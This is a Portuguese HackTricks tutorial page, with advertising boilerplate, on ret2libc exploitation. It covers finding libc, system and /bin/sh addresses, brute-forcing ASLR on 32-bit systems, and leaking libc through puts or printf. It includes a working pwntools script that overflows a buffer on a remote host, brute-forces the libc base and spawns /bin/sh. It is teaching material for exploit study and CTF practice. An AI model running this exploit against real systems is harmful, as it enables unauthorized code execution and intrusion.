Ret2lib

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

• Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!

• Adquira o swag oficial PEASS & HackTricks

• Descubra A Família PEASS, nossa coleção exclusiva de NFTs

• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.

Informação Básica

A essência do Ret2Libc é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, system, execve, strcpy) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.

Passos de Exemplo (simplificados)

• Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)

• Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string de comando e o fluxo de execução para a função

Encontrando os endereços

• Supondo que a libc usada seja a do computador atual, você pode encontrar onde ela será carregada na memória com:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Se você deseja verificar se o ASLR está alterando o endereço da libc, você pode fazer:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done

• Sabendo a libc usada, também é possível encontrar o deslocamento para a função system com:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

• Sabendo a libc usada, também é possível encontrar o deslocamento para a função da string /bin/sh com:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função system, da função exit e da string /bin/sh:

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Se o processo estiver criando filhos toda vez que você interage com ele (servidor de rede), tente ler esse arquivo (provavelmente você precisará ser root).

Aqui você pode encontrar exatamente onde a libc está carregada dentro do processo e onde será carregada para cada filho do processo.

Neste caso, ela está carregada em 0xb75dc000 (Este será o endereço base da libc)

Libc desconhecida

Pode ser possível que você não saiba qual libc o binário está carregando (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para vazar alguns endereços e descobrir qual biblioteca libc está sendo usada:

pageLeaking libc address with ROP

E você pode encontrar um modelo do pwntools para isso em:

pageLeaking libc - template

Conheça a libc com 2 offsets

Verifique a página https://libc.blukat.me/ e use um par de endereços de funções dentro da libc para descobrir a versão usada.

Bypassing ASLR em 32 bits

Esses ataques de força bruta são apenas úteis para sistemas de 32 bits.

• Se o exploit for local, você pode tentar forçar a base de endereço da libc (útil para sistemas de 32 bits):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Ao atacar um servidor remoto, você pode tentar forçar o endereço da função usleep da libc, passando como argumento o valor 10 (por exemplo). Se em algum momento o servidor demorar 10s extras para responder, você encontrou o endereço dessa função.

One Gadget

Execute um shell pulando para um endereço específico apenas na libc:

pageOne Gadget

Exemplo de Código x86 Ret2lib

Neste exemplo, o brute-force do ASLR está integrado no código e o binário vulnerável está localizado em um servidor remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Exemplo de Código x64 Ret2lib

Verifique o exemplo em:

pageROP - Return Oriented Programing

Exemplo ARM64 Ret2lib

No caso do ARM64, a instrução ret salta para onde o registro x30 está apontando e não para onde o registro de pilha está apontando. Portanto, é um pouco mais complicado.

Também no ARM64, uma instrução faz o que a instrução faz (não é possível pular no meio das instruções e transformá-las em novas).

Verifique o exemplo em:

pageRet2lib + Printf leak - arm64

Ret-into-printf (ou puts)

Isso permite vazar informações do processo chamando printf/puts com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de puts no GOT em uma execução de puts irá vazar o endereço de puts na memória.

Ret2printf

Isso basicamente significa abusar de um Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato printf usando o ret2lib para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):

pageFormat Strings

Outros Exemplos e Referências

• https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

• Ret2lib, dado um vazamento para o endereço de uma função em libc, usando um gadget

• https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

• 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário e então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar system('/bin/sh')

• https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html

• 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts do GOT e então chamar um gadget.

• https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html

• 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.

• https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html

• Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está no GOT) com o endereço de /bin/sh.

• https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html

• 32 bits, sem relro, sem canário, nx, pie. Abusa de um mau indexação para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando system('/bin/sh') (o endereço do heap é necessário para contornar uma verificação).